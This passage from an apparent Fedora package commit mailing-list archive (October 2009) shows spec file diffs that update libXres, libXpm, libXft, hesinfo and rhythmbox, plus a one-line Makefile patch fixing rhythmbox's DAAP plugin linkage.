 X-Resource is an extension that allows a client to query
@@ -21,7 +19,6 @@ the X server about its usage of various 
 Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig
 
 %description devel
 X.Org X11 libXres development package
@@ -29,20 +26,14 @@ X.Org X11 libXres development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
+make install DESTDIR=$RPM_BUILD_ROOT
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -62,15 +53,15 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/X11/extensions/XRes.h
-%if %{with_static}
-%{_libdir}/libXRes.a
-%endif
 %{_libdir}/libXRes.so
 %{_libdir}/pkgconfig/xres.pc
 #%dir %{_mandir}/man3x
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.4-1
+- libXres 1.0.4
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.0.3-9
 - Merge-review cleanups #226086
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXres/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	6 Jan 2007 00:12:42 -0000	1.10
+++ sources	13 Oct 2009 15:56:03 -0000	1.11
@@ -1 +1 @@
-de66ffb657aba64c9d6dbdeabb757f3e  libXres-1.0.3.tar.bz2
+4daf91f93d924e693f6f6ed276791be2  libXres-1.0.4.tar.bz2



From nalin at fedoraproject.org  Tue Oct 13 15:56:42 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Tue, 13 Oct 2009 15:56:42 +0000 (UTC)
Subject: rpms/hesinfo/F-12 hesinfo.spec,1.6,1.7
Message-ID: <20091013155642.B4C6B11C00E8@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/hesinfo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12637/F-12

Modified Files:
	hesinfo.spec 
Log Message:
add a disttag


Index: hesinfo.spec
===================================================================
RCS file: /cvs/extras/rpms/hesinfo/F-12/hesinfo.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- hesinfo.spec	25 Jul 2009 02:07:30 -0000	1.6
+++ hesinfo.spec	13 Oct 2009 15:56:42 -0000	1.7
@@ -1,6 +1,6 @@
 Name: hesinfo
 Version: 3.1.0
-Release: 5
+Release: 6%{?dist}
 Source: ftp://athena-dist.mit.edu/pub/ATHENA/hesiod/hesinfo-%{version}.tar.gz
 Summary: Command-line Hesiod client.
 Group: Applications/Internet
@@ -17,6 +17,9 @@ which can be used to query Hesiod.
 
 
 %changelog
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com>
+- add a disttag
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From nalin at fedoraproject.org  Tue Oct 13 15:56:42 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Tue, 13 Oct 2009 15:56:42 +0000 (UTC)
Subject: rpms/hesinfo/devel hesinfo.spec,1.6,1.7
Message-ID: <20091013155642.DED1211C00E8@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/hesinfo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12637/devel

Modified Files:
	hesinfo.spec 
Log Message:
add a disttag


Index: hesinfo.spec
===================================================================
RCS file: /cvs/extras/rpms/hesinfo/devel/hesinfo.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- hesinfo.spec	25 Jul 2009 02:07:30 -0000	1.6
+++ hesinfo.spec	13 Oct 2009 15:56:42 -0000	1.7
@@ -1,6 +1,6 @@
 Name: hesinfo
 Version: 3.1.0
-Release: 5
+Release: 6%{?dist}
 Source: ftp://athena-dist.mit.edu/pub/ATHENA/hesiod/hesinfo-%{version}.tar.gz
 Summary: Command-line Hesiod client.
 Group: Applications/Internet
@@ -17,6 +17,9 @@ which can be used to query Hesiod.
 
 
 %changelog
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com>
+- add a disttag
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Tue Oct 13 15:59:34 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:59:34 +0000 (UTC)
Subject: rpms/libXpm/devel libXpm.spec,1.28,1.29
Message-ID: <20091013155934.0E2B511C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXpm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13339

Modified Files:
	libXpm.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-1
- libXpm 3.5.8



Index: libXpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/devel/libXpm.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libXpm.spec	25 Jul 2009 05:14:28 -0000	1.28
+++ libXpm.spec	13 Oct 2009 15:59:33 -0000	1.29
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXpm runtime library
 Name: libXpm
-Version: 3.5.7
-Release: 7%{?dist}
+Version: 3.5.8
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -10,16 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
 BuildRequires: gettext
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-# FIXME: Although ./configure checks for libXt and libXext, and indicates
-# that they are missing, it continues to build anyway, and just does not
-# build sxpm if they are not present.  Therefore, libXt-devel and
-# libXext-devel are required build deps in order to get sxpm built.
-BuildRequires: libXt-devel
-BuildRequires: libXext-devel
-BuildRequires: libXau-devel
-
+BuildRequires: pkgconfig(xext) pkgconfig(xt) pkgconfig(xau)
 
 %description
 X.Org X11 libXpm runtime library
@@ -29,23 +20,14 @@ Summary: X.Org X11 libXpm development pa
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-Requires: libX11-devel pkgconfig
-
-
 %description devel
 X.Org X11 libXpm development package
 
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
@@ -73,9 +55,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/cxpm
 %{_bindir}/sxpm
 %{_includedir}/X11/xpm.h
-%if %{with_static}
-%{_libdir}/libXpm.a
-%endif
 %{_libdir}/libXpm.so
 %{_libdir}/pkgconfig/xpm.pc
 #%dir %{_mandir}/man1x
@@ -83,6 +62,9 @@ rm -rf $RPM_BUILD_ROOT
 #%{_mandir}/man1/*.1x*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-1
+- libXpm 3.5.8
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.5.7-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Tue Oct 13 16:00:18 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 16:00:18 +0000 (UTC)
Subject: rpms/libXpm/F-12 libXpm.spec,1.28,1.29
Message-ID: <20091013160018.3B2FF11C0267@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXpm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13554

Modified Files:
	libXpm.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-1
- libXpm 3.5.8



Index: libXpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/F-12/libXpm.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libXpm.spec	25 Jul 2009 05:14:28 -0000	1.28
+++ libXpm.spec	13 Oct 2009 16:00:17 -0000	1.29
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXpm runtime library
 Name: libXpm
-Version: 3.5.7
-Release: 7%{?dist}
+Version: 3.5.8
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -10,16 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
 BuildRequires: gettext
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-# FIXME: Although ./configure checks for libXt and libXext, and indicates
-# that they are missing, it continues to build anyway, and just does not
-# build sxpm if they are not present.  Therefore, libXt-devel and
-# libXext-devel are required build deps in order to get sxpm built.
-BuildRequires: libXt-devel
-BuildRequires: libXext-devel
-BuildRequires: libXau-devel
-
+BuildRequires: pkgconfig(xext) pkgconfig(xt) pkgconfig(xau)
 
 %description
 X.Org X11 libXpm runtime library
@@ -29,23 +20,14 @@ Summary: X.Org X11 libXpm development pa
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-Requires: libX11-devel pkgconfig
-
-
 %description devel
 X.Org X11 libXpm development package
 
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
@@ -73,9 +55,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/cxpm
 %{_bindir}/sxpm
 %{_includedir}/X11/xpm.h
-%if %{with_static}
-%{_libdir}/libXpm.a
-%endif
 %{_libdir}/libXpm.so
 %{_libdir}/pkgconfig/xpm.pc
 #%dir %{_mandir}/man1x
@@ -83,6 +62,9 @@ rm -rf $RPM_BUILD_ROOT
 #%{_mandir}/man1/*.1x*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-1
+- libXpm 3.5.8
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.5.7-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Tue Oct 13 16:00:33 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 16:00:33 +0000 (UTC)
Subject: rpms/libXres/F-12 libXres.spec,1.26,1.27 sources,1.10,1.11
Message-ID: <20091013160033.BE12E11C0267@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXres/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13688

Modified Files:
	libXres.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.4-1
- libXres 1.0.4



Index: libXres.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXres/F-12/libXres.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXres.spec	14 Aug 2009 11:13:43 -0000	1.26
+++ libXres.spec	13 Oct 2009 16:00:33 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X-Resource extension client library
 Name: libXres
-Version: 1.0.3
-Release: 9%{?dist}
+Version: 1.0.4
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,9 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xext)
 
 %description
 X-Resource is an extension that allows a client to query
@@ -21,7 +19,6 @@ the X server about its usage of various 
 Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig
 
 %description devel
 X.Org X11 libXres development package
@@ -29,20 +26,14 @@ X.Org X11 libXres development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
+make install DESTDIR=$RPM_BUILD_ROOT
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -62,15 +53,15 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/X11/extensions/XRes.h
-%if %{with_static}
-%{_libdir}/libXRes.a
-%endif
 %{_libdir}/libXRes.so
 %{_libdir}/pkgconfig/xres.pc
 #%dir %{_mandir}/man3x
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.4-1
+- libXres 1.0.4
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.0.3-9
 - Merge-review cleanups #226086
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXres/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	6 Jan 2007 00:12:42 -0000	1.10
+++ sources	13 Oct 2009 16:00:33 -0000	1.11
@@ -1 +1 @@
-de66ffb657aba64c9d6dbdeabb757f3e  libXres-1.0.3.tar.bz2
+4daf91f93d924e693f6f6ed276791be2  libXres-1.0.4.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 16:02:19 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 16:02:19 +0000 (UTC)
Subject: rpms/libXft/devel .cvsignore, 1.8, 1.9 libXft.spec, 1.26,
	1.27 sources, 1.9, 1.10
Message-ID: <20091013160219.53FE011C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXft/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14113

Modified Files:
	.cvsignore libXft.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 2.1.14-1
- libXft 2.1.14



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXft/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Sep 2008 19:11:25 -0000	1.8
+++ .cvsignore	13 Oct 2009 16:02:18 -0000	1.9
@@ -1 +1 @@
-libXft-2.1.13.tar.bz2
+libXft-2.1.14.tar.bz2


Index: libXft.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXft/devel/libXft.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXft.spec	25 Jul 2009 05:12:40 -0000	1.26
+++ libXft.spec	13 Oct 2009 16:02:19 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXft runtime library
 Name: libXft
-Version: 2.1.13
-Release: 4%{?dist}
+Version: 2.1.14
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,9 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXrender-devel
+BuildRequires: pkgconfig(xrender)
 BuildRequires: freetype-devel >= 2.1.9-2
 BuildRequires: fontconfig-devel >= 2.2-1
 
@@ -25,11 +23,6 @@ Summary: X.Org X11 libXft development pa
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-Requires: xorg-x11-proto-devel pkgconfig
-Requires: libXrender-devel
-Requires: fontconfig-devel >= 2.2-1
-Requires: freetype-devel >= 2.1.9-2
-
 %description devel
 X.Org X11 libXft development package
 
@@ -41,10 +34,7 @@ X.Org X11 libXft development package
 
 %build
 
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags} 
 
 %install
@@ -77,9 +67,6 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{_includedir}/X11/Xft
 %{_includedir}/X11/Xft/Xft.h
 %{_includedir}/X11/Xft/XftCompat.h
-%if %{with_static}
-%{_libdir}/libXft.a
-%endif
 %{_libdir}/libXft.so
 %{_libdir}/pkgconfig/xft.pc
 #%{_mandir}/man1/xft-config.1.gz
@@ -87,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/Xft.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 2.1.14-1
+- libXft 2.1.14
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.13-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXft/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	4 Sep 2008 19:11:25 -0000	1.9
+++ sources	13 Oct 2009 16:02:19 -0000	1.10
@@ -1 +1 @@
-bc8881851f3bd8dcc625fac37350a1c6  libXft-2.1.13.tar.bz2
+254e62a233491e0e1251636536163e20  libXft-2.1.14.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 16:03:25 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 16:03:25 +0000 (UTC)
Subject: rpms/libXpm/devel .cvsignore, 1.9, 1.10 libXpm.spec, 1.29,
	1.30 sources, 1.10, 1.11
Message-ID: <20091013160325.7804511C0268@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXpm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14457

Modified Files:
	.cvsignore libXpm.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-2
- libXpm 3.5.8



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	24 Sep 2007 19:44:54 -0000	1.9
+++ .cvsignore	13 Oct 2009 16:03:24 -0000	1.10
@@ -1 +1 @@
-libXpm-3.5.7.tar.bz2
+libXpm-3.5.8.tar.bz2


Index: libXpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/devel/libXpm.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libXpm.spec	13 Oct 2009 15:59:33 -0000	1.29
+++ libXpm.spec	13 Oct 2009 16:03:25 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXpm runtime library
 Name: libXpm
 Version: 3.5.8
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -62,7 +62,7 @@ rm -rf $RPM_BUILD_ROOT
 #%{_mandir}/man1/*.1x*
 
 %changelog
-* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-1
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-2
 - libXpm 3.5.8
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.5.7-7


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Sep 2007 19:44:54 -0000	1.10
+++ sources	13 Oct 2009 16:03:25 -0000	1.11
@@ -1 +1 @@
-cd15ee542d9f515538b4462a6f79d977  libXpm-3.5.7.tar.bz2
+38e58e72d476a74298a59052fde185a3  libXpm-3.5.8.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 16:03:52 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 16:03:52 +0000 (UTC)
Subject: rpms/libXpm/F-12 libXpm.spec,1.29,1.30 sources,1.10,1.11
Message-ID: <20091013160352.A607E11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXpm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14626

Modified Files:
	libXpm.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-2
- libXpm 3.5.8



Index: libXpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/F-12/libXpm.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libXpm.spec	13 Oct 2009 16:00:17 -0000	1.29
+++ libXpm.spec	13 Oct 2009 16:03:52 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXpm runtime library
 Name: libXpm
 Version: 3.5.8
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -62,7 +62,7 @@ rm -rf $RPM_BUILD_ROOT
 #%{_mandir}/man1/*.1x*
 
 %changelog
-* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-1
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 3.5.8-2
 - libXpm 3.5.8
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.5.7-7


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXpm/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Sep 2007 19:44:54 -0000	1.10
+++ sources	13 Oct 2009 16:03:52 -0000	1.11
@@ -1 +1 @@
-cd15ee542d9f515538b4462a6f79d977  libXpm-3.5.7.tar.bz2
+38e58e72d476a74298a59052fde185a3  libXpm-3.5.8.tar.bz2



From hadess at fedoraproject.org  Tue Oct 13 16:17:01 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 13 Oct 2009 16:17:01 +0000 (UTC)
Subject: rpms/rhythmbox/devel rhythmbox.spec,1.268,1.269
Message-ID: <20091013161701.279B711C00E8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17676

Modified Files:
	rhythmbox.spec 
Log Message:
* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-5
- Fix DAAP plugin not working



Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/devel/rhythmbox.spec,v
retrieving revision 1.268
retrieving revision 1.269
diff -u -p -r1.268 -r1.269
--- rhythmbox.spec	30 Sep 2009 19:36:11 -0000	1.268
+++ rhythmbox.spec	13 Oct 2009 16:17:00 -0000	1.269
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -54,6 +54,8 @@ Patch0: rhythmbox-0.12.5-use-gnome-sessi
 # https://bugzilla.redhat.com/show_bug.cgi?id=525826
 BuildRequires: automake autoconf libtool
 Patch1: 0001-Use-C-only-for-the-browser-plugin.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=597899
+Patch2: rb-fix-daap-plugin.patch
 
 %description
 Rhythmbox is an integrated music management application based on the powerful
@@ -89,6 +91,7 @@ from, and sending media to UPnP/DLNA net
 %patch0 -p1 -b .inhibit-gnome-session
 
 %patch1 -p1 -b .itms
+%patch2 -p1 -b .daap
 autoreconf -i
 
 # Use the installed louie, not the one in Coherence
@@ -221,6 +224,9 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-5
+- Fix DAAP plugin not working
+
 * Wed Sep 30 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-4
 - Enable the FM radio plugin
 



From hadess at fedoraproject.org  Tue Oct 13 16:20:54 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 13 Oct 2009 16:20:54 +0000 (UTC)
Subject: rpms/rhythmbox/devel rb-fix-daap-plugin.patch,NONE,1.1
Message-ID: <20091013162054.D002011C00E8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19003

Added Files:
	rb-fix-daap-plugin.patch 
Log Message:
add missing patch

rb-fix-daap-plugin.patch:
 Makefile.am |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE rb-fix-daap-plugin.patch ---
commit 3bf2e8b95d5a2c8000a7e46b73f0b92c5319e927
Author: Christophe Fergeau <cfergeau at mandriva.com>
Date:   Sat Oct 10 14:16:35 2009 +0200

    link daap plugin with RHYTHMBOX_LIBS (bug #597899)
    
    The DAAP plugin uses libsoup, so it needs to link with libsoup which is
    part of RHYTHMBOX_LIBS.

diff --git a/plugins/daap/Makefile.am b/plugins/daap/Makefile.am
index 90935ee..dfc1058 100644
--- a/plugins/daap/Makefile.am
+++ b/plugins/daap/Makefile.am
@@ -35,6 +35,7 @@ libdaap_la_LIBTOOLFLAGS = --tag=disable-static
 libdaap_la_LIBADD = 					\
 	$(top_builddir)/shell/librhythmbox-core.la	\
 	$(DBUS_LIBS)					\
+	$(RHYTHMBOX_LIBS)				\
 	$(MDNS_LIBS)
 
 INCLUDES = 						\



From hadess at fedoraproject.org  Tue Oct 13 16:21:00 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 13 Oct 2009 16:21:00 +0000 (UTC)
Subject: rpms/rhythmbox/F-12 rb-fix-daap-plugin.patch, NONE,
	1.1 rhythmbox.spec, 1.269, 1.270
Message-ID: <20091013162100.3BC9311C00E8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19043

Modified Files:
	rhythmbox.spec 
Added Files:
	rb-fix-daap-plugin.patch 
Log Message:
* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-6
- Fix DAAP plugin linkage


rb-fix-daap-plugin.patch:
 Makefile.am |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE rb-fix-daap-plugin.patch ---
commit 3bf2e8b95d5a2c8000a7e46b73f0b92c5319e927
Author: Christophe Fergeau <cfergeau at mandriva.com>
Date:   Sat Oct 10 14:16:35 2009 +0200

    link daap plugin with RHYTHMBOX_LIBS (bug #597899)
    
    The DAAP plugin uses libsoup, so it needs to link with libsoup which is
    part of RHYTHMBOX_LIBS.

diff --git a/plugins/daap/Makefile.am b/plugins/daap/Makefile.am
index 90935ee..dfc1058 100644
--- a/plugins/daap/Makefile.am
+++ b/plugins/daap/Makefile.am
@@ -35,6 +35,7 @@ libdaap_la_LIBTOOLFLAGS = --tag=disable-static
 libdaap_la_LIBADD = 					\
 	$(top_builddir)/shell/librhythmbox-core.la	\
 	$(DBUS_LIBS)					\
+	$(RHYTHMBOX_LIBS)				\
 	$(MDNS_LIBS)
 
 INCLUDES = 						\


Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/F-12/rhythmbox.spec,v
retrieving revision 1.269
retrieving revision 1.270
diff -u -p -r1.269 -r1.270
--- rhythmbox.spec	7 Oct 2009 08:38:43 -0000	1.269
+++ rhythmbox.spec	13 Oct 2009 16:21:00 -0000	1.270
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -53,6 +53,8 @@ Patch0: rhythmbox-0.12.5-use-gnome-sessi
 # https://bugzilla.redhat.com/show_bug.cgi?id=525826
 BuildRequires: automake autoconf libtool
 Patch1: 0001-Use-C-only-for-the-browser-plugin.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=597899
+Patch2: rb-fix-daap-plugin.patch
 
 %description
 Rhythmbox is an integrated music management application based on the powerful
@@ -86,8 +88,9 @@ from, and sending media to UPnP/DLNA net
 %prep
 %setup -q
 %patch0 -p1 -b .inhibit-gnome-session
-%patch1 -p1 -b .itms
 
+%patch1 -p1 -b .itms
+%patch2 -p1 -b .daap
 autoreconf -i
 
 # Use the installed louie, not the one in Coherence
@@ -219,6 +222,9 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-6
+- Fix DAAP plugin linkage
+
 * Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-5
